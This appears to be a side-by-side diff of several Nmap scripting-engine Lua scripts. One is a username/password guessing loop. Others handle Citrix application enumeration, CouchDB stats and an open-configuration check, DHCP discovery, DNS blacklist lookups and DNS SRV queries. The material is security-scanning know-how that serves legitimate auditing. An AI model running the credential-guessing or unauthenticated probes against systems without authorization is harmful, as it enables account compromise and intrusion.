-- iterate over userlist -- iterate over userlist
while username do while username do
password = nextPass() password = nextPass()
-- iterate over passwordlist -- iterate over passwordlist
while password do while password do
local result = "Trying " .. username .. "/" .. password .. " " local result = "Trying " .. username .. "/" .. password .. " "
local account = verify_password(host.ip, port.number, username, password, ntdomain) local account = verify_password(host.ip, port.number, username, password, ntdomain)
if account.valid then if account.valid then
table.insert(valid_accounts, account) table.insert(valid_accounts, account)
if account.valid then if account.valid then
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message) stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
else else
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password) stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
end end
else else
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message) stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
end end
password = nextPass() password = nextPass()
end end
nextPass("reset") nextPass("reset")
username = nextUser() username = nextUser()
end end
return create_result_from_table(valid_accounts) return create_result_from_table(valid_accounts)
end end

View File

@@ -42,119 +42,119 @@ portrule = shortport.portnumber(1604, "udp")
-- @return string row delimited with \n containing all published applications -- @return string row delimited with \n containing all published applications
function process_pa_response(response) function process_pa_response(response)
local pos, packet_len = bin.unpack("SS", response) local pos, packet_len = bin.unpack("SS", response)
local app_name local app_name
local pa_list = {} local pa_list = {}
if packet_len < 40 then if packet_len < 40 then
return return
end end
-- the list of published applications starts at offset 40 -- the list of published applications starts at offset 40
local offset = 41 local offset = 41
while offset < packet_len do while offset < packet_len do
pos, app_name = bin.unpack("z", response:sub(offset)) pos, app_name = bin.unpack("z", response:sub(offset))
offset = offset + pos - 1 offset = offset + pos - 1
table.insert(pa_list, app_name) table.insert(pa_list, app_name)
end end
return pa_list return pa_list
end end
action = function(host, port) action = function(host, port)
local packet, counter local packet, counter
local query = {} local query = {}
local pa_list = {} local pa_list = {}
-- --
-- Packets were intercepted from the Citrix Program Neighborhood client -- Packets were intercepted from the Citrix Program Neighborhood client
-- They are used to query a server for it's list of servers -- They are used to query a server for it's list of servers
-- --
-- We're really not interested in the responses to the first two packets -- We're really not interested in the responses to the first two packets
-- The third response contains the list of published applications -- The third response contains the list of published applications
-- I couldn't find any documentation on this protocol so I'm providing -- I couldn't find any documentation on this protocol so I'm providing
-- some brief information for the bits and bytes this script uses. -- some brief information for the bits and bytes this script uses.
-- --
-- Spec. of response to query[2] that contains a list of published apps -- Spec. of response to query[2] that contains a list of published apps
-- --
-- offset size content -- offset size content
-- ------------------------- -- -------------------------
-- 0 16-bit Length -- 0 16-bit Length
-- 12 32-bit Server IP (not used here) -- 12 32-bit Server IP (not used here)
-- 30 8-bit Last packet (1), More packets(0) -- 30 8-bit Last packet (1), More packets(0)
-- 40 - null-separated list of applications -- 40 - null-separated list of applications
-- --
query[0] = string.char( query[0] = string.char(
0x1e, 0x00, -- Length: 30 0x1e, 0x00, -- Length: 30
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 0x00, 0x00, 0x00, 0x00
) )
query[1] = string.char( query[1] = string.char(
0x20, 0x00, -- Length: 32 0x20, 0x00, -- Length: 32
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, 0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
) )
query[2] = string.char( query[2] = string.char(
0x2a, 0x00, -- Length: 42 0x2a, 0x00, -- Length: 42
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
) )
counter = 0 counter = 0
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
local try = nmap.new_try(function() socket:close() end) local try = nmap.new_try(function() socket:close() end)
try( socket:connect(host, port) ) try( socket:connect(host, port) )
-- send the two first packets and never look back -- send the two first packets and never look back
repeat repeat
try( socket:send(query[counter]) ) try( socket:send(query[counter]) )
packet = try(socket:receive()) packet = try(socket:receive())
counter = counter + 1 counter = counter + 1
until (counter>#query) until (counter>#query)
-- process the first response -- process the first response
pa_list = process_pa_response( packet ) pa_list = process_pa_response( packet )
-- --
-- the byte at offset 31 in the response has a really magic function -- the byte at offset 31 in the response has a really magic function
-- if it is set to zero (0) we have more response packets to process -- if it is set to zero (0) we have more response packets to process
-- if it is set to one (1) we have arrived at the last packet of our journey -- if it is set to one (1) we have arrived at the last packet of our journey
-- --
while packet:sub(31,31) ~= string.char(0x01) do while packet:sub(31,31) ~= string.char(0x01) do
packet = try( socket:receive() ) packet = try( socket:receive() )
local tmp_table = process_pa_response( packet ) local tmp_table = process_pa_response( packet )
for _,v in pairs(tmp_table) do for _,v in pairs(tmp_table) do
table.insert(pa_list, v) table.insert(pa_list, v)
end end
end end
-- set port to open -- set port to open
if #pa_list>0 then if #pa_list>0 then
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
socket:close() socket:close()
return stdnse.format_output(true, pa_list) return stdnse.format_output(true, pa_list)
end end

View File

@@ -51,7 +51,7 @@ categories = {"discovery", "safe"}
portrule = shortport.port_or_service({5984}) portrule = shortport.port_or_service({5984})
-- Some lazy shortcuts -- Some lazy shortcuts
local function dbg(str,...) local function dbg(str,...)
stdnse.print_debug("couchdb-stats:"..str, ...) stdnse.print_debug("couchdb-stats:"..str, ...)
end end
@@ -62,112 +62,112 @@ local DISCARD = {stddev=1,min=1,max=1, mean=1}
-- @param data a table containg data -- @param data a table containg data
--@return another table containing data, with some keys removed --@return another table containing data, with some keys removed
local function queryResultToTable(data) local function queryResultToTable(data)
local result = {} local result = {}
for k,v in pairs(data) do for k,v in pairs(data) do
dbg("(%s,%s)",k,tostring(v)) dbg("(%s,%s)",k,tostring(v))
if DISCARD[k] ~= 1 then if DISCARD[k] ~= 1 then
if type(v) == 'table' then if type(v) == 'table' then
if v["description"] ~= nil then if v["description"] ~= nil then
k = string.format("%s (%s)",tostring(k), tostring(v["description"])) k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
v["description"] = nil v["description"] = nil
end end
table.insert(result,k) table.insert(result,k)
table.insert(result,queryResultToTable(v)) table.insert(result,queryResultToTable(v))
else else
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v)))) table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
end end
end end
end end
return result return result
end end
action = function(host, port) action = function(host, port)
local data, result, err local data, result, err
data = http.get( host, port, '/_stats' ) data = http.get( host, port, '/_stats' )
-- check that body was received -- check that body was received
if not data.body or data.body == "" then if not data.body or data.body == "" then
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip ) local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
dbg( msg ) dbg( msg )
return msg return msg
end end
-- The html body should look like this : -- The html body should look like this :
-- --
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}} --{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
local status, result = json.parse(data.body) local status, result = json.parse(data.body)
if not status then if not status then
dbg(result) dbg(result)
return result return result
end end
-- Here we know it is a couchdb -- Here we know it is a couchdb
port.version.name ='httpd' port.version.name ='httpd'
port.version.product='Apache CouchDB' port.version.product='Apache CouchDB'
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
-- We have a valid table in result containing the parsed json -- We have a valid table in result containing the parsed json
-- now, get all the interesting bits -- now, get all the interesting bits
result = queryResultToTable(result) result = queryResultToTable(result)
-- Additionally, we can check if authentication is used : -- Additionally, we can check if authentication is used :
-- The following actions are restricted if auth is used -- The following actions are restricted if auth is used
-- create db (PUT /database) -- create db (PUT /database)
-- delete db (DELETE /database) -- delete db (DELETE /database)
-- Creating a design document (PUT /database/_design/app) -- Creating a design document (PUT /database/_design/app)
-- Updating a design document (PUT /database/_design/app?rev=1-4E2) -- Updating a design document (PUT /database/_design/app?rev=1-4E2)
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7) -- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
-- Triggering compaction (POST /_compact) -- Triggering compaction (POST /_compact)
-- Reading the task status list (GET /_active_tasks) -- Reading the task status list (GET /_active_tasks)
-- Restart the server (POST /_restart) -- Restart the server (POST /_restart)
-- Read the active configuration (GET /_config) -- Read the active configuration (GET /_config)
-- Update the active configuration (PUT /_config) -- Update the active configuration (PUT /_config)
data = http.get( host, port, '/_config' ) data = http.get( host, port, '/_config' )
local status, authresult = json.parse(data.body) local status, authresult = json.parse(data.body)
-- If authorization is used, we should get back something like -- If authorization is used, we should get back something like
-- {"error":"unauthorized","reason":"You are not a server admin."} -- {"error":"unauthorized","reason":"You are not a server admin."}
-- Otherwise, a *lot* of data, : -- Otherwise, a *lot* of data, :
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}", -- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}", -- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"}, -- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}", -- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}", -- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}", -- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}", -- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}", -- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}", -- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}", -- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}", -- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}", -- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"}, -- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"}, -- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"}, -- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}", -- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}", -- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}", -- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"}, -- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}", -- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}", -- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}", -- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"}, -- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"}, -- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true", -- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296", -- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}} -- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
local auth = "Authentication : %s" local auth = "Authentication : %s"
local authEnabled = "unknown" local authEnabled = "unknown"
if(status) then if(status) then
if(authresult["error"] == "unauthorized") then authEnabled = "enabled" if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')" elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
end end
end end
table.insert(result, auth:format(authEnabled)) table.insert(result, auth:format(authEnabled))
return stdnse.format_output(true, result ) return stdnse.format_output(true, result )
end end

View File

@@ -70,98 +70,98 @@ categories = {"discovery", "safe"}
-- We want to run against a specific host if UDP/67 is open -- We want to run against a specific host if UDP/67 is open
function portrule(host, port) function portrule(host, port)
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
return shortport.portnumber(67, "udp")(host, port) return shortport.portnumber(67, "udp")(host, port)
end end
local function go(host, port) local function go(host, port)
-- Build and send a DHCP request using the specified request type, or DHCPINFORM -- Build and send a DHCP request using the specified request type, or DHCPINFORM
local requests = tonumber(nmap.registry.args.requests or 1) local requests = tonumber(nmap.registry.args.requests or 1)
local results = {} local results = {}
for i = 1, requests, 1 do for i = 1, requests, 1 do
-- Decide which type of request to make -- Decide which type of request to make
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"] local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
if(request_type == nil) then if(request_type == nil) then
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str) return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
end end
-- Generate the MAC address, if it's random -- Generate the MAC address, if it's random
local mac_addr = host.mac_addr_src local mac_addr = host.mac_addr_src
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address") stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
mac_addr = "" mac_addr = ""
for j=1, 6, 1 do for j=1, 6, 1 do
mac_addr = mac_addr .. string.char(math.random(1, 255)) mac_addr = mac_addr .. string.char(math.random(1, 255))
end end
end end
local iface, err = nmap.get_interface_info(host.interface) local iface, err = nmap.get_interface_info(host.interface)
if ( not(iface) or not(iface.address) ) then if ( not(iface) or not(iface.address) ) then
return false, "Couldn't determine local ip for interface: " .. host.interface return false, "Couldn't determine local ip for interface: " .. host.interface
end end
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr) local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
if( not(status) ) then if( not(status) ) then
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result) stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
return false, result return false, result
end end
table.insert(results, result) table.insert(results, result)
end end
-- Done! -- Done!
return true, results return true, results
end end
action = function(host, port) action = function(host, port)
local status, results = go(host, port) local status, results = go(host, port)
if(not(status)) then if(not(status)) then
return stdnse.format_output(false, results) return stdnse.format_output(false, results)
end end
if(not(results)) then if(not(results)) then
return nil return nil
end end
-- Set the port state to open -- Set the port state to open
if(host) then if(host) then
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
local response = {} local response = {}
-- Display the results -- Display the results
for i, result in ipairs(results) do for i, result in ipairs(results) do
local result_table = {} local result_table = {}
if ( nmap.registry.args.dhcptype and if ( nmap.registry.args.dhcptype and
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then "DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str)) table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
end end
for _, v in ipairs(result.options) do for _, v in ipairs(result.options) do
if(type(v['value']) == 'table') then if(type(v['value']) == 'table') then
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value']))) table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else else
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value'])) table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
end end
end end
if(#results == 1) then if(#results == 1) then
response = result_table response = result_table
else else
result_table['name'] = string.format("Result %d of %d", i, #results) result_table['name'] = string.format("Result %d of %d", i, #results)
table.insert(response, result_table) table.insert(response, result_table)
end end
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -78,100 +78,100 @@ categories = {"external", "safe"}
hostrule = function() return true end hostrule = function() return true end
prerule = function() return true end prerule = function() return true end
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip") local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long" local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list") local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services") local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all" local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all"
local function listServices() local function listServices()
local result = {} local result = {}
if ( "all" == arg_category ) then if ( "all" == arg_category ) then
for cat in pairs(dnsbl.SERVICES) do for cat in pairs(dnsbl.SERVICES) do
local helper = dnsbl.Helper:new(cat, arg_mode) local helper = dnsbl.Helper:new(cat, arg_mode)
local cat_res= helper:listServices() local cat_res= helper:listServices()
cat_res.name = cat cat_res.name = cat
table.insert(result, cat_res) table.insert(result, cat_res)
end end
else else
result = dnsbl.Helper:new(arg_category, arg_mode):listServices() result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
local function formatResult(result) local function formatResult(result)
local output = {} local output = {}
for _, svc in ipairs(result) do for _, svc in ipairs(result) do
if ( svc.result.details ) then if ( svc.result.details ) then
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state) svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
table.insert(output, svc.result.details) table.insert(output, svc.result.details)
else else
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state)) table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
end end
end end
return output return output
end end
dnsblAction = function(host) dnsblAction = function(host)
local helper local helper
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
return "\n ERROR: A service filter can't be used without a specific category" return "\n ERROR: A service filter can't be used without a specific category"
elseif( "all" ~= arg_category ) then elseif( "all" ~= arg_category ) then
helper = dnsbl.Helper:new(arg_category, arg_mode) helper = dnsbl.Helper:new(arg_category, arg_mode)
helper:setFilter(arg_services) helper:setFilter(arg_services)
local status, err = helper:validateFilter() local status, err = helper:validateFilter()
if ( not(status) ) then if ( not(status) ) then
return ("\n ERROR: %s"):format(err) return ("\n ERROR: %s"):format(err)
end end
end end
local output = {} local output = {}
if ( helper ) then if ( helper ) then
local result = helper:checkBL(host.ip) local result = helper:checkBL(host.ip)
if ( #result == 0 ) then return end if ( #result == 0 ) then return end
output = formatResult(result) output = formatResult(result)
else else
for cat in pairs(dnsbl.SERVICES) do for cat in pairs(dnsbl.SERVICES) do
helper = dnsbl.Helper:new(cat, arg_mode) helper = dnsbl.Helper:new(cat, arg_mode)
local result = helper:checkBL(host.ip) local result = helper:checkBL(host.ip)
local out_part = formatResult(result) local out_part = formatResult(result)
if ( #out_part > 0 ) then if ( #out_part > 0 ) then
out_part.name = cat out_part.name = cat
table.insert(output, out_part) table.insert(output, out_part)
end end
end end
if ( #output == 0 ) then return end if ( #output == 0 ) then return end
end end
if ( "prerule" == SCRIPT_TYPE ) then if ( "prerule" == SCRIPT_TYPE ) then
output.name = host.ip output.name = host.ip
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
-- execute the action function corresponding to the current rule -- execute the action function corresponding to the current rule
action = function(...) action = function(...)
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'" return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
end end
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
return "\n ERROR: Invalid IP address was supplied" return "\n ERROR: Invalid IP address was supplied"
end end
-- if the list argument was given, just list the services and abort -- if the list argument was given, just list the services and abort
if ( arg_list ) then if ( arg_list ) then
return listServices() return listServices()
end end
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
return dnsblAction( { ip = arg_IP } ) return dnsblAction( { ip = arg_IP } )
elseif ( "hostrule" == SCRIPT_TYPE ) then elseif ( "hostrule" == SCRIPT_TYPE ) then
return dnsblAction(...) return dnsblAction(...)
end end
end end

View File

@@ -69,113 +69,113 @@ local arg_filter = stdnse.get_script_args(SCRIPT_NAME .. ".filter")
prerule = function() return not(not(arg_domain)) end prerule = function() return not(not(arg_domain)) end
local function parseSvcList(services) local function parseSvcList(services)
local i = 1 local i = 1
return function() return function()
local svc = services[i] local svc = services[i]
if ( svc ) then if ( svc ) then
i=i + 1 i=i + 1
else else
return return
end end
return svc.name, svc.query return svc.name, svc.query
end end
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function parseSrvResponse(resp) local function parseSrvResponse(resp)
local i = 1 local i = 1
if ( resp.answers ) then if ( resp.answers ) then
table.sort(resp.answers, table.sort(resp.answers,
function(a, b) function(a, b)
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
return a.SRV.prio < b.SRV.prio return a.SRV.prio < b.SRV.prio
end end
end end
) )
end end
return function() return function()
if ( not(resp.answers) or 0 == #resp.answers ) then return end if ( not(resp.answers) or 0 == #resp.answers ) then return end
if ( not(resp.answers[i]) ) then if ( not(resp.answers[i]) ) then
return return
elseif ( resp.answers[i].SRV ) then elseif ( resp.answers[i].SRV ) then
local srv = resp.answers[i].SRV local srv = resp.answers[i].SRV
i = i + 1 i = i + 1
return srv.target, srv.port, srv.prio, srv.weight return srv.target, srv.port, srv.prio, srv.weight
end end
end end
end end
local function checkFilter(services) local function checkFilter(services)
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
return true return true
end end
for name, queries in parseSvcList(services) do for name, queries in parseSvcList(services) do
if ( name == arg_filter ) then if ( name == arg_filter ) then
return true return true
end end
end end
return false return false
end end
local function doQuery(name, queries, result) local function doQuery(name, queries, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local svc_result = tab.new(4) local svc_result = tab.new(4)
tab.addrow(svc_result, "service", "prio", "weight", "host") tab.addrow(svc_result, "service", "prio", "weight", "host")
for _, query in ipairs(queries) do for _, query in ipairs(queries) do
local fqdn = ("%s.%s"):format(query, arg_domain) local fqdn = ("%s.%s"):format(query, arg_domain)
